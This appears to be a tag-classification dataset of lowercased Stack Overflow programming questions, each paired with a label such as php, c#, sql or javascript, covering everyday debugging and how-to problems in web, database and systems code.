jquery $(this).css( border-color ) returns old border color  why does the following code return the previously updated border color and not the current border color      <strong>html:</strong>   <pre><code>&lt;li&gt;&lt;a href= #  data-target= #signupmodal  data-toggle= modal  id= signup &gt; &lt;i class= fa fa-user-plus &gt;&lt;/i&gt; sign up &lt;/a&gt;&lt;/li&gt; </code></pre>   <strong>jquery:</strong>   <pre><code>$( #signup ).click(function() {    var count = 0;    $( #inputemail ).focusout(function() {      if ($(this).val() ==   ) {        count++;       $(this).css( border-color    red );       console.log( no of times input box focused out:   + count +   current border color:   + $(this).css( border-color ));     } else {        $(this).css( border-color    green );       console.log(  current border color:   + $(this).css( border-color ));     }   }); }); </code></pre>   it changes border color perfectly fine but it does not display the currently updated border color in the browser console rather it display the previously updated border color.,jquery
basic c++ syntax: why is the namespace used before the variable name but not before the class type  i am new to c++ and wading thru the <a href= http://www.flightgear.org/  rel= nofollow >flightgear</a> source code. i understand that you can restrict the <a href= http://www.cplusplus.com/doc/tutorial/classes/  rel= nofollow >type</a> of a pointer  like this    <pre><code>crectangle * prect;   //prect is a pointer that must point to an object of type crectangle </code></pre>   i also understand that you can refer to a variable in a <a href= http://www.cplusplus.com/doc/tutorial/namespaces/  rel= nofollow >namespace</a>  like this:   <pre><code> cout &lt;&lt; first::var &lt;&lt; endl;   //prints value of var in namespace = first  cout &lt;&lt; second::var &lt;&lt; endl;  //prints value of var in namespace = second </code></pre>   with that said  i am trying to understand this line of code in the flightgear codebase:   <pre><code>fgkeyboardinput * fgkeyboardinput::keyboardinput = null; </code></pre>   it seems like it is creating a pointer called keyboardinput of type fgkeyboardinput. but i am confused about what the namespace declaration before keyboardinput is doing. is that declaring the variable keyboard input as part of the namespace fgkeyboardinput  in the linked namespace tutorial  you declare a variable as part of a certain namespace by including it within namespace brackets. is the above code a sort of short-hand for something like this    <pre><code>namespace fgkeyboardinput {   fgkeyboardinput * keyboardinput = null; } </code></pre>,c++
hide input if mouse not moved for 5 seconds  i have a html img input for the page reqad.co.nf as a full screen function  how would i make this input hide if the mouse isn t moved for 5 seconds  and reappear if it moves again <code>&lt;input type= image  src= fullscreenico.png  align= right  onclick= togglefullscreen() &gt;</code>,html
meaning of %%% in sql query   i am familiar with this kind of query:   <pre><code>select * from tablea where foo like  %bar%  </code></pre>   but today i run into three adjacent percentage signs in some legacy code  like this:   <pre><code>select * from tablea where foo like  %%%  </code></pre>   this query seems to work  both on mssql and oracle  when foo is of string type (varchar  etc.) but it fails when foo is numeric.    any idea what it means     edit: sorry about the typo in original question  the query uses the like operator.,sql
parameter overloading to avoid developer s mistakes and to follow a custome rule <pre><code>public enum headerdisplaytype         {             singlecolumn              table              doublecolumn         }; </code></pre>   this is my enumeration   <pre><code>public worksheet crwsheet&lt;t&gt;(string masterheading  list&lt;t&gt; list  excelcreator.headerdisplaytype headertype = headerdisplaytype.doublecolumn) {         method body }   public worksheet crwsheet&lt;t&gt;(string masterheading  list&lt;t&gt; list  excelcreator.headerdisplaytype headertype = headerdisplaytype.doublecolumn  string rowname= row1 ) {         method body } </code></pre>   developer access these by      <pre><code>objectname.crwsheet( heading   intlist  excelcreator.headerdisplaytype.singlecolumn) </code></pre>   if a developer enters a comma after the enumeration part he can see the other string parameter  rowname . please tell me how to restrict developers accessing the second method when they are not using the enumeration   singlecolumn  . in other words allow developers to access the second method when they only use the enumeration  single column     in this way developers will be able to follow a condition without facing any trouble. it depends on the business scenario of the model.    this should be done without changing the method name and only defining parameters based on the above explained condition    thank you,c#
how to access value of array of string by assigning it to string   <code>excelfilesnames</code> is a array of <code>string</code> and there is more than 1 value in <code>excelfilesnames</code>. while printing <code>ovariablename[2]</code> value it prints <code> system.string </code>. i want to print all values of <code>excelfilesnames</code> by assigning it to <code>ovariablename[2]</code>.     the code is below    <pre><code>object[] ovariablename = new object[3];  ovariablename[2] = excelfilesnames;      messagebox.show(ovariablename[2].tostring()); </code></pre>,c#
trying to open a new activity from appwidgetprovider <pre><code>public class mywidgetprovider extends appwidgetprovider { ..... }  public void onenabled (context contex){     intent myintent = new intent(context  readname.class);     context.startactivity(myintent); } </code></pre>   well  i tried just system.out.println(   ) it works  means it is showing on logcat  but is it possible to open a new activity from this method onenabled (context contex) thanks   <hr>   i am trying this way but it is not showing :s me a new activity onload widget    <pre><code>public void onenabled (context contex){     system.out.println( new task flag );     intent i = new intent(contex  readname.class);      i.addflags(intent.flag_activity_new_task);     contex.startactivity(i); } </code></pre>,android
php remote url leech  i ve wrote this code in php to leech remote urls with change name of file and resume support. it works well but not resumable. where is the problem     actually i shared received headers between user and remote server. can i leech urls in this way without increase ram usage    <pre><code>&lt; php ini_set( display_errors    0 );  function get_header($url $header) {     $my_ch = curl_init();     curl_setopt($my_ch  curlopt_url $url);     curl_setopt($my_ch  curlopt_httpheader $header);     curl_setopt($my_ch  curlopt_header  true);     curl_setopt($my_ch  curlopt_nobody  true);     curl_setopt($my_ch  curlopt_returntransfer  true);     curl_setopt($my_ch  curlopt_timeout  10);     return curl_exec($my_ch); }  $data_file =  http://dl.hexdownload.net/up/movie/anime/1396/07/robots.2005.1080p.farsi.dubbed.glory.hexdl.com.mkv ; $filename =  file.mkv ;  if(isset($_server[ http_range ]) || isset($http_server_vars[ http_range ])) {      $my_header = getallheaders();      $i = 0;     foreach($my_header as $key =&gt; $value)         $header_curl[$i++]= $key. :  .$value;      $header_read = null;     foreach($my_header as $key =&gt; $value)         $header_read .= $key. :  .$value. \r\n ;      $recieved_header = get_header($data_file $header_curl);      $recieved_header = explode( \r\n   $recieved_header);     foreach($recieved_header as $value)         header($value);      while (!(connection_aborted() || connection_status() == 1)) {         $ctx = stream_context_create(                                     array(                                          http =&gt; $header_read                                     )                 );          readfile($data_file  false  $ctx);     } } else{     header( accept-ranges: bytes );     header( content-description: file transfer );     header( content-type: application/otect-stream );     header( content-disposition: attachment; filename=  .$filename.   );      $my_header = getallheaders();      $header_read = null;     foreach($my_header as $key =&gt; $value)         $header_read .= $key. :  .$value. \r\n ;      $i = 0;     foreach($my_header as $key =&gt; $value)         $header_curl[$i++]= $key. :  .$value;      $recieved_header = get_header($data_file $header_curl);      $recieved_header = explode( \r\n   $recieved_header);     foreach($recieved_header as $value)         header($value);      while (!(connection_aborted() || connection_status() == 1)) {         $ctx = stream_context_create(                                     array(                                          http =&gt; $header_read                                     )                 );         readfile($data_file  false  $ctx);     } }  exit; </code></pre>   after two time pause an resume i ve got this message : <a href= https://i.stack.imgur.com/iaxl6.png  rel= nofollow noreferrer >download error!</a>    is any other way to leech urls  any scripts,php
getting error upon building in visual studio 2012  when i build a project through vs2012  i get this error every time:   <blockquote>    error 17  assembly  microsoft.office.interop.word  version=14.0.0.0  culture=neutral  publickeytoken=71e9bce111e9429c  uses  office  version=14.0.0.0  culture=neutral  publickeytoken=71e9bce111e9429c  which has a higher version than referenced assembly  office  version=12.0.0.0  culture=neutral  publickeytoken=71e9bce111e9429c  c:\program files (x86)\microsoft visual studio 11.0\visual studio tools for office\pia\office14\microsoft.office.interop.word.dll   ola  </blockquote>   how do i resolve this error,.net
get value of a dropdown using plain javascript from a dynamically generated row  i have been stuck here for hours now. i need to get what value is selected in the dropdown after button clicked.all the rows are dynamically generated like this image. <a href= https://i.stack.imgur.com/7zt2f.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/7zt2f.png  alt= all the rows are dynamically generated ></a>    i can get the child node and the html but can t get the selected value. my code so far.    <pre><code> var parent_element=e.parentelement.parentelement.parentelement.previoussibling.previoussibling.previoussibling.previoussibling;  var selected_element = parent_element.childnodes[1].getelementsbyclassname( selectpicker );     console.log(selected_element); </code></pre>   html stucture. any help will be appreciated. thanks in advance   <pre><code>&lt;div class= col-md-12 neighbourhood-data neighbour-2 &gt;    &lt;div class= row &gt;        &lt;div class= col-md-2 &gt;            &lt;select name=   class= selectpicker form-control  data-live-search= true &gt;                 &lt;option value=  &gt;--select one--&lt;/option&gt;                 &lt;option value= 1 &gt;one&lt;/option&gt;                 &lt;option value= 2 &gt;two&lt;/option&gt;                 &lt;option value= 3 &gt;three&lt;/option&gt;                 &lt;option value= 4 &gt;four&lt;/option&gt;             &lt;/select&gt;         &lt;/div&gt;         &lt;div class= col-md-1 &gt;             &lt;input type= text  class= form-control  placeholder= distance &gt;         &lt;/div&gt;         &lt;div class= col-md-8 &gt;             &lt;div class= row &gt;                 &lt;div class= col-md-2 &gt;                     &lt;button type= button   class= btn btn-info  onclick= getdistancelocation(this) &gt;get distance from google&lt;/button&gt;                 &lt;/div&gt;                 &lt;div class= col-md-10 &gt;                      &lt;div class= row text-center &gt;                          &lt;div class= col-md-2 &gt;                             &lt;input type= checkbox  checked= checked &gt;                          &lt;/div&gt;                          &lt;div class= col-md-2 &gt;                             &lt;input type= checkbox &gt;                          &lt;/div&gt;                          &lt;div class= col-md-2 &gt;                              &lt;input type= checkbox &gt;                          &lt;/div&gt;                          &lt;div class= col-md-2 &gt;                              &lt;input type= checkbox &gt;                          &lt;/div&gt;                          &lt;div class= col-md-2 &gt;                              &lt;input type= checkbox &gt;                          &lt;/div&gt;                          &lt;div class= col-md-2 &gt;                              &lt;input type= checkbox &gt;                          &lt;/div&gt;                        &lt;/div&gt;                    &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;             &lt;div class= col-md-1 &gt;                &lt;button type= button  class= btn btn-danger neighbourhood-remove-button &gt;remove&lt;/button&gt;             &lt;/div&gt;          &lt;/div&gt;       &lt;/div&gt; </code></pre>,javascript
how to create html comment box without database  i need a simple comment box  made without a database (so htmlcommentbox.com is not for me).  you can only use it one time per page.  we only have one page but may have more then one person who needs their own comments.  the url of our tlc is <a href= http://www.copd-supporttlc.byethost7.com/  rel= nofollow >http://www.copd-supporttlc.byethost7.com/</a>.  i am using elvis as a placeholder and practice until i have everything set up.      there will be more names below elvis and i would like to have a comment box for each name and more folks would comment one that name and i would like to have it collapse when not in use.  it would open when you clicked on the name.,html
how to crop the image and dont change the ratio   please help solve the problem.      a rubber block which contains three images arranged horizontally. <a href= http://jsfiddle.net/dbt7k8m7/  rel= nofollow >jsfillde</a> pictures gives the server and some of them larger than the other.      i need to have all the pictures appear with the same size. please help trim the big picture. it is important that the image is cropped and its proportion remained without distortion.    css:   <pre><code>  .masonry .item{     width: 32%;     display: inline-block !important;     vertical-align: top !important;       }      .masonry .item .a_inner {       padding: 0 10px 20px 10px;       display: block;       color: #252525;       font-weight: bold;       font-size: 16px;       font-family:  pt sans   sans-serif;       line-height: 18px;     }          .masonry .item .a_inner .article {         border: 1px solid #efefef;       }              .masonry .item .a_inner img {           width: 100%;           height: auto;           display: block;           vertical-align: middle;         }                .masonry .item .a_inner .h4 {           line-height: 18px;           font-size: 16px;           margin: 18px;           font-weight: bold;           color: #000;           text-decoration: none;           overflow: hidden;         }   </code></pre>,css
mysql: select count of returning vs. new rows in mysql with period  i have database table in mysql  which consist of the following fields:   <ul> <li>id</li> <li>user_id</li> <li>timestamp</li> </ul>   the table is a simple log of visitors. i am trying to get the following numbers in one query:   <ul> <li>distinct user_id s for a specific time period (30 days)</li> <li>amount of these user_id s  which already exist in the table  regardless of time period</li> </ul>   i have been able to do it within the period with this simple query:   <pre><code>select     count(distinct user_id) as  count_distinct       count(user_id) as  count_all  from     table where     timestamp between curdate() - interval 30 day and curdate(); </code></pre>   running this query gives me the count of distinct user_id s and the count of all user_id s within the time period. i can then apply the math myself to get the count of new vs. returning visitors - for that period. what i am trying to figure out is how many distinct user_id s  who visited within 30 days  who has also visited at any previous point in time.    i hope you can help me solve this.,mysql
two-column table or dl   i have the following content i need to mark up:    <strong>course requirements</strong>:    <img src= https://i.stack.imgur.com/flhfh.png  alt= course requirements >    and <strong>dates</strong>:    <img src= https://i.stack.imgur.com/fx3nk.png  alt= dates >    the question is whether to use a two-column <code>table</code> element or a <code>dl</code> (<a href= http://dev.w3.org/html5/spec/the-dl-element.html#the-dl-element  rel= noreferrer >description list</a>) element. i would like a response for each specific instance  and then a response <em>in general</em> if possible. i ve always had trouble deciding on these elements  especially if the <code>table</code> doesn t have (or need) headers.    note: my question is <em>not</em> how i should style these elements. i ll get to the presentation after i decide on the semantics.    edit: answers that adhere to the html5 draft are favored over answers that adhere to the old html4 recommendation.,html
i am going to develop a job portal need suggestion  i am planning to develop a job portal in php with mysql problem is we are going to have huge database of cv s about 5 million so need your suggestion how big harddisk should i use to store that much data.     some suggestion regarding load balancing.,php
implicitly call parent constructors  i have a set of classes where my base has a constructor that takes a configuration object and handles transferring the values to its properties.     <pre><code>abstract class a { public a(objtype myobj){} }  abstract class b : a {} class c : a {} class d : b {} class e : b {} </code></pre>   is it possible to implicitly call a non-default base constructor from child classes or would i need to explicitly implement the signature up the chain to do it via constructors    <pre><code>abstract class a { public a(objtype myobj){} }  abstract class b : a { public a(objtype myobj) : base(myobj){} } class c : a { public a(objtype myobj) : base(myobj){} } class d : b { public a(objtype myobj) : base(myobj){} } class e : b { public a(objtype myobj) : base(myobj){} } </code></pre>   if that is the case  is it better to just implement a method in the base then have my factory immediately call the method after creating the object,c#
does javascript files get requested again from the server on page refresh   i don t know how to ask this question but  i am developing a single page application(spa) using nodejs on the server side and whenever the data gets updated the user gets informed  however if the user has refreshed wouldn t the json data and every script file just vanish an get requested from the server again     how can i prevent the javascript files and specifically the file that has the json data from being requested again on page refresh     is there a way to solve this problem,javascript
time taken to load a uiscrollview  i am trying to find the time taken for a uiscrollview to be displayed on a screen. i have a uibutton which when clicked creates a label with a very long text and adds it to a scrollview. then the scrollview is added as a subview to self.view. i need to know the time taken for the scrollview to be displayed on the screen.  please help. thanks in advance. code below   <pre><code>- (ibaction)clickeme:(id)sender {     self.start=[nsdate date];      nsstring *text= a very long text ;          nsmutableattributedstring *attributedtext =     [[nsmutableattributedstring alloc] initwithstring:text];       nsrange range1 = nsmakerange(100  300);     [attributedtext setattributes:@{nsforegroundcolorattributename:[uicolor redcolor]}                             range:range1];        uilabel *label1=[[uilabel alloc]initwithframe:cgrectmake(10  10  700  1000)];     [label1 setattributedtext:attributedtext];     [label1 setnumberoflines:0];     [label1 sizetofit];     scrollviewtest *scrollview=[[scrollviewtest alloc]init];      scrollview.frame=cgrectmake(10  50  700  1000);     cgsize maxsize = cgsizemake(label1.frame.size.width  cgfloat_max);     cgsize labelsize = [label1 sizethatfits:maxsize];      [scrollview addsubview:label1];     scrollview.contentsize = cgsizemake(700  labelsize.height);     [self.view addsubview:scrollview];     [self performselector:@selector(viewloaded) withobject:nil];  }  -(void)viewloaded {     nslog(@ [viewloaded] );     nstimeinterval timeinterval = [self.start timeintervalsincenow];      nslog(@ time taken is %f  fabs(timeinterval));  } </code></pre>   the problem with the above code is that viewloaded is actually getting called before the scrollview appears on the screen.,ios
windows.devices.pointofservice - winrt only   is windows.devices.pointofservice only in winrt     we are on .net for windows.    we want to use it  but it is not clear if it is in all .net.    <a href= https://msdn.microsoft.com/en-us/library/windows/apps/bg182882.aspx  rel= nofollow noreferrer >https://msdn.microsoft.com/en-us/library/windows/apps/bg182882.aspx</a>    where is the real story,.net
i want to form a m x n matrix by giving some numbers as input in c#  hi     suppose i have given input numbers like this 1 2 3 4 5 6 7 8 9 0    i should form it as 3 x 3 matrix but my input has 10 elements how to form a matrix  for such input in c#,c#
<li> without parent tags   is it ok to use <code>&lt;li&gt;</code> tags without parent tags     i.e.   <pre><code>&lt;li&gt; some copy </code></pre>   or must it be..    <pre><code>&lt;ul&gt; (substitute your favorite list type)     &lt;li&gt; some copy &lt;/ul&gt; </code></pre>   links on the subject:   <ul> <li><a href= http://www.w3.org/tr/html401/struct/lists.html#h-10.2  rel= nofollow noreferrer >spec</a></li> <li><a href= http://www.w3schools.com/xhtml/xhtml_html.asp  rel= nofollow noreferrer >xhtml</a></li> <li><a href= http://validator.w3.org/  rel= nofollow noreferrer >validator</a></li> </ul>,html
exception in thread  main  java.util.unknownformatconversionexception: conversion =     <pre><code>package com.supermarket.project; import java.util.scanner; public class main {     public static void main(string[] args) {         float amountf;         scanner amount = new scanner(system.in);         system.out.printf( please enter the amount of purchase:  );         amountf = amount.nextfloat();         if (amountf &gt;= 300) {             system.out.printf( you amount of purchase is: %1.1f.%n                      +  you have a discount of: %1.1f * 90% = %1.1f.%n                      +  you can enjoy free delivery service.   amountf  amountf                      amountf * 0.9);         } else {             system.out.printf( your amount of purchase is: %1.1f.%n                      +  delivery service is available for additional $30.                       amountf);         }     } } </code></pre>   then i got an error:   <pre><code>exception in thread  main  java.util.unknownformatconversionexception: conversion =         at java.util.formatter.checktext(formatter.java:2547)     at java.util.formatter.parse(formatter.java:2523)     at java.util.formatter.format(formatter.java:2469)     at java.io.printstream.format(printstream.java:970)     at java.io.printstream.printf(printstream.java:871)     at com.supermarket.project.main.main(main.java:11) </code></pre>   what should i do to correct this error help!!! this error would come out when i enter a amount more then 300 but not under 300. what should i do,java
multiple definition and first defined here error for c code  i am getting the below error when i try to compile my code. the code is not complete since i am yet to add functions in my header and source files. but only with definitions i am having these errors.    error:   <pre><code>  building target: uart_example.elf    invoking: arm gcc linker   arm-xilinx-eabi-gcc -wl -t -wl ../src/lscript.ld -l../../test_bsp/ps7_cortexa9_0/lib -o  uart_example.elf   ./src/helloworld.o    ./src/platform.o ./src/uart_new.o   -wl --start-group -lxil -lgcc -lc --end-group  ./src/uart_new.o:(.data+0x0): multiple definition of `uart_fifo_rxptr   ./src/helloworld.o:(.data+0x0): first defined here  ./src/uart_new.o:(.data+0x4): multiple definition of `uart_rxbuf   ./src/helloworld.o:(.data+0x4): first defined here  ./src/uart_new.o:(.data+0x8): multiple definition of `uart1_tx   ./src/helloworld.o:(.data+0x8): first defined here  ./src/uart_new.o:(.data+0xc): multiple definition of `uart2_tx   ./src/helloworld.o:(.data+0xc): first defined here  collect2.exe: error: ld returned 1 exit status  make: *** [uart_example.elf] error 1 </code></pre>   my uart_new.c source file just contains the include of uart_new.h header.    content of uart_new.h is shown below   <pre><code>#ifndef uart_new_h_ #define uart_new_h_  #include  xparameters.h   // address offset for the uart peripheral #define base_uart_buffer 0x4800 #define base_uart_regs   0x4c00  unsigned *uart_fifo_rxptr =  xpar_signal_connector_0_s00_axi_baseaddr +   base_uart_regs*4; // register 0  unsigned *uart_rxbuf = xpar_signal_connector_0_s00_axi_baseaddr + base_uart_buffer*4 ; // dual-port ram  //--uart1 and uart2 transmit byte at registers 1 and 2 unsigned *uart1_tx =  xpar_signal_connector_0_s00_axi_baseaddr + (base_uart_regs +1)*4; // register 1 unsigned *uart2_tx =  xpar_signal_connector_0_s00_axi_baseaddr + (base_uart_regs +2)*4; // register 2  #endif /* uart_new_h_ */ </code></pre>   and my main contains as shown below   <pre><code>#include &lt;stdio.h&gt; #include  platform.h   #include  uart_new.h    void print(char *str);  int main() {   //code } </code></pre>   please let me know if i am making any mistake somewhere. i am assuming the error is linker related but cannot solve. thanks for help in advance!!,c
c# dataset getchanges() throw exception  i have a dataset where the getchanges() return this:   <blockquote>    an unhandled exception of type  system.data.constraintexception  occurred in system.data.dll       additional information: failed to enable constraints. one or more rows contain values violating non-null  unique  or foreign-key constraints.  </blockquote>   how can i tell in what table the problem is     it happens before i save the tables. if i skip the getchanges()  the save is ok.    thanks,c#
checking empty text boxes which convert strings to integers using  int.parse  method in c#  how do i check the empty check boxes which convert strings to integers using  int.parse  in c#     if i try to pass blank text boxes  visual studio gives me this error -  input string was not in a correct format.     <img src= https://i.stack.imgur.com/a3ch9.gif  alt= enter image description here >    i already read some questions on stackoverflow which address the same issue  but i know that various people use various methods to do the same task. so i would like to know them as well. please start with the simplest way you know first.,c#
do something for all controls that are checked  i found this code on so:   <pre><code>  for each x as control in me.controls        if typeof x is checkbox then            directcast(x  checkbox).forecolor = color.white        end if    next </code></pre>   i have two questions please: <br> <strong>1</strong>. is there a way to change this code to only perform the action if the checkbox.checked = true <br><br> <strong>2</strong>. is there a way to combine this to perform this action for all groupboxes  so for example  for all groupboxes  check for checkboxes = true  and make the forecolor = color.white.,.net
how can i call switch case 4 from case 5   i have a switch statement:   <pre><code>switch(choice) { case 1: //some compute break; case 2: //some compute break; case 3: //some compute break; case 4: //some compute break; case 5: //call case 3 //call case 4 //perform my own function break; } </code></pre>   how do i call the function of case 3 and case 4 then perform my own computation at case 5.    the only way i could do is to run the same code of case 3 and then case 4 then my own computation  i wonder is there a way to call case 3 &amp; 4 directly like calling a function then return back to case 5.,c++
warning: can not modify header information -header already sent  today first time i use cookie but i am facing a warning   <blockquote>    warning: cannot modify header   information - headers already sent by   (output started at   e:\xampp\htdocs\session.php:11) in   e:\xampp\htdocs\home_page.php on line   7  </blockquote>   this is my code:   <pre><code>&lt; php include( session.php );  &gt;  &lt; php $month = 2592000 + time();    //this adds 30 days to the current time setcookie(aboutvisit  date( f js - g:i a )  $month);  &gt;  &lt; php if(isset($_cookie[ aboutvisit ])) { $last = $_cookie[ aboutvisit ]; echo  welcome back!  you last visited on  . $last; } else { echo  welcome to our site! ; }  &gt;  &lt;html&gt; &lt;head&gt;     &lt;title&gt;home page&lt;/title&gt;     &lt;script src= flowplayer-3.1.4.min.js &gt;&lt;/script&gt;  &lt;/head&gt;   &lt;body bgcolor= white &gt; &lt; php include( search_file.php );  &gt; &lt;font color= red &gt;&lt;b&gt;&lt;h2 align= center &gt;deepak narwal welcomes you&lt;/h2&gt;&lt;/b&gt;&lt;/font&gt; &lt;hr size= 2  width= 50% &gt; &lt;a  href= logout_file.php &gt;&lt;h3 align= right &gt;sign out&lt;/h3&gt;&lt;/a&gt;  &lt;a      style= display:block;width:250px;height:200px;       id= player &gt; &lt;/a&gt; &lt;script language= javascript &gt;     flowplayer( player    flowplayer-3.1.5.swf    { clip: { autoplay : false  autobuffering: true}    playlist: [  video.flv    flowplayer.flv ] });  //create a object of clip name &lt;/script&gt;   &lt;object classid= clsid:67dabfbf-d0ab-41fa-9c46-cc0f21721616  align= right  width= 320  height= 260  codebase= http://go.divx.com/plugin/divxbrowserplugin.cab &gt; &lt;param name= custommode  value= none  /&gt;     &lt;param name= loop  value= true  /&gt;     &lt;param name= autoplay  value= false  /&gt;     &lt;param name= autobuffering  value= true  /&gt;     &lt;param name= src  value= http://localhost/idiot.mkv  /&gt; &lt;embed type= video/divx  src= http://localhost/idiot.mkv  custommode= none  width= 250  height= 200  loop= true   autoplay= false   pluginspage= http://go.divx.com/plugin/download/ &gt; &lt;/embed&gt; &lt;/object&gt;   &lt;br /&gt;&lt;a href= upload_file.php &gt;&lt;h4&gt;up-load files&lt;/h4&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt; &lt;a href= list_files.php &gt;&lt;h4&gt;list all up-loaded files&lt;/h4&gt;&lt;/a&gt;    &lt;/body&gt; &lt;/html&gt; </code></pre>   what is this error and how can i hide warnings from my webpage     is there any particular place for putting cookies or can i put cookie anywhere like above cookie     this is my session.php   <pre><code>    &lt; php     session_start();     if(!isset($_session[ employee ]))     {         echo  your are logged out ;         exit;     }         else     {     echo  welcome mr. .$_session[ employee ][ username ]. ;     }      &gt; </code></pre>,php
how do i get the latest meta id from database automatically  i was trying to convert text into image with php. now i ve finished it but the script is still getting the image data manually here is the query code :   <pre><code>    $host =  localhost ; $user =  root ; $pass =  root ; $db   =  rc ;  $connect=mysql_connect($host $user $pass) or die ( failed to connect ) ; $connect_db= mysql_select_db($db $connect);  $grab = mysql_query( select * from wp_woocommerce_order_itemmeta where meta_id= 4980  ); $d = mysql_fetch_array($grab); $meta = $d[ meta_value ]; </code></pre>   in this script i use<code>( select * from wp_woocommerce_order_itemmeta where meta_id= 4980  )</code> which manually get the meta_id from database and if i want to convert another text to image i should change the<code>meta_id= 4980 </code> to another <code>meta_id</code> my question is how do i get the latest<code>meta_id</code>automatically from database   any help will be very appreciated,php
what html options can be used for the form_for method in formhelper  <a href= http://api.rubyonrails.org/classes/actionview/helpers/formhelper.html#method-i-form_for  rel= nofollow >formhelper s form_for method</a> has the signature:   <blockquote>    form_for(record  options = {}  &amp;block)  </blockquote>   . the second parameter is an options hash. the documentation states that this is    <blockquote>    :html - optional html attributes for the form tag  </blockquote>   i am having trouble finding the list of values that i could plug in to it.     i recently had to add a file field to my form.     the code used was something like <code>&lt;%= form_for @user  :html =&gt; { :multipart =&gt; true } do |f| %&gt;</code>. searching online lead me to the solution that i needed to use  <code>:html =&gt; { :multipart =&gt; true }</code>.    what other values (apart from  <code>:multipart =&gt; true</code>) could i use  is there a list of usable html attributes,ruby-on-rails
operation between hours  i have 2 buttons  when i click each button a timepicker comes out and return the time in the button. i have 2 text field and 1 label. in textfield 1 i put a number that will be subtracted to the difference between the time in button 1 minus the time in button 2.     my second text field will have a number that i will multiply by the results of the subtraction. i also have a label that will return the result. for example:    in button 1 i have 6:00pm<br> in button 2 i have 8:30pm<br> subtracting them the results is 2.5 hours<br> in text field 1 i have 30 minutes<br> subtracting 30 minutes to 2.5hours will be 2 hours<br> in text field 2 i have number 3<br> multiplying number 3 to 2 hours i will have 6.<br> i would like to return 6 in the label      i could solve the part where i have the date picker returning the time.    can anyone give me some suggestion how to solve the second part  thank you!,iphone
error setting column value from other table data  i m trying to populate a column in my target table  with a value from another table  but i am getting the error:   <blockquote>    an error occurred while checking the query syntax. errors: incorrect syntax near  . .  </blockquote>   my code:   <pre><code>select      a.*  a.store_picked_up as b.store from       [master_list] a inner join      [picked_up] b  where      a.emailaddress = b.emailaddress </code></pre>   is this the wrong way to do this,sql
inbuild asp.net validation controls are executed on server side or client side   inbuild asp.net validation controls are executed on server side or client side     <ul> <li>the requiredfieldvalidation control</li> <li>the comparevalidator control</li> <li>the rangevalidator control</li> <li>the regularexpressionvalidator control</li> <li>the customvalidator control </li> </ul>,asp.net
how to validate the timestamp (yyyy-mm-dd hh:mm:ss) and (yyyy-mm-dd)  user will enter the date like <code>yyyy-mm-dd</code> or  <code>yyyy-mm-dd hh:mm:ss</code>.then i need to validate the timestamp. please help me on this.    i need to verify these type of validations of both (yyyy-mm-dd) or (yyyy-mm-dd hh:mm:ss). if the user enters the date is yyyy-mm-dd then will take the like this yyyy-mm-dd 00:00:00 and else if user enters the date is yyyy-mm-dd hh:mm:ss then take as it is like  yyyy-mm-dd hh:mm:ss      <pre><code> private static boolean datevalidate(string inputdate) {                 try {                     string[] datepattern = { yyyy-mm-dd hh:mm:ss    yyyy-mm-dd  };                     for (string pattern : datepattern) {                         simpledateformat sdf = new simpledateformat(pattern);                         date date = sdf.parse(inputdate);                         string formatteddate = sdf.format(date);                         if (inputdate.equals(formatteddate)) {                             return true;                         }                     }                 } catch (parseexception ex) {                     return false;                 }                 return false;              }             public static void main(string args[]) {                 // todo auto-generated method stub                 system.out.println(sampletest.datevalidate( 2014-02-22 22:23:22 ));                 system.out.println(sampletest.datevalidate( 2014-02-22 ));               } </code></pre>,java
mysql: count if and group by  i have the following mysql table test_results   <pre><code>| id | test_id | device_os| status | date    | | 1  | 1       | android  | passed | 2015/10 | | 2  | 1       | android  | failed | 2015/10 | | 3  | 15      | ios      | passed | 2015/11 | | 4  | 20      | android  | passed | 2015/11 | | 5  | 27      | android  | passed | 2015/11 | | 6  | 10      | ios      | failed | 2015/12 | | 7  | 5       | android  | passed | 2015/12 | </code></pre>   i need to count the ount of unique test_id s per os and group by month. i wrote a query that counts the general number of unique tests:   <pre><code>select run_date  count(distinct test_id) from test_results group by month(run_date) order by run_date desc; </code></pre>   but i cannot figure out how to break by deivce_os. so the result will look some thing like this:   <pre><code>run_date    count android ios 12/10/2015  3650  3650    2500 11/5/2015   1909  1909    1900 10/1/2015   1667  1667    1325 </code></pre>   thank you!,mysql
angular js ng-repeat dynamic headers   avoid a column  on click of a button i get the following response from node js .   <pre><code>[{          _id :  590998cca8ac14d0c075282c            compid :  0001388d            compname :  one      }      {          _id :  590998cca8ac14d0c075282qc            compid :  0001388d2            compname :  two      }      {          _id :  590998cca8ac14d0c07528qq2c            compid :  0001388d23            compname :  three      } ] </code></pre>   i am printing this information using angular js table ng - repeat     this is my code     my question is   is it possible to skip _id field while printing       this is my code   <pre><code>&lt;div ng-app= myapp  ng-controller= firstctrl &gt;           &lt;table border= 1 &gt;   &lt;tr&gt;     &lt;th ng-repeat= (key  val) in collectioninfo[0] &gt;{{ key }}&lt;/th&gt;   &lt;/tr&gt;   &lt;tr ng-repeat= row in collectioninfo &gt;     &lt;td ng-repeat= column in row &gt;       {{ column }}     &lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt;   &lt;/div&gt; </code></pre>   <a href= http://jsfiddle.net/9fr23/443/  rel= nofollow noreferrer >jsfiddle</a>,angularjs
cpp code malfunctioning (showing unexpected numbers)  this is the program that i wrote to calculate average marks:   <pre><code>#include &lt;iostream&gt;  int main() {  std::cout &lt;&lt;  welcome to the average marks calculator! enter your marks below separating them with a space:   &lt;&lt; std::endl;  //uses cnt to calculate the number of points entered int val sum cnt = 0;  for (; std::cin &gt;&gt; val; cnt++) {      sum += val;  }  sum /= cnt;  std::cout &lt;&lt;  your average marks are   &lt;&lt; sum &lt;&lt;   points.  &lt;&lt; std::endl;  return 0;  } </code></pre>   when i run it  it goes something like this:    <blockquote>    welcome to the average marks calculator! enter your marks below separating > them with a space:        70 80 90 80 70 80 80        your average marks are 85198117 points.  </blockquote>   the integer 85198117 is clearly not expected there. i m sure it was a problem with the code here.     any help of yours will be much appreciated. thanks!,c++
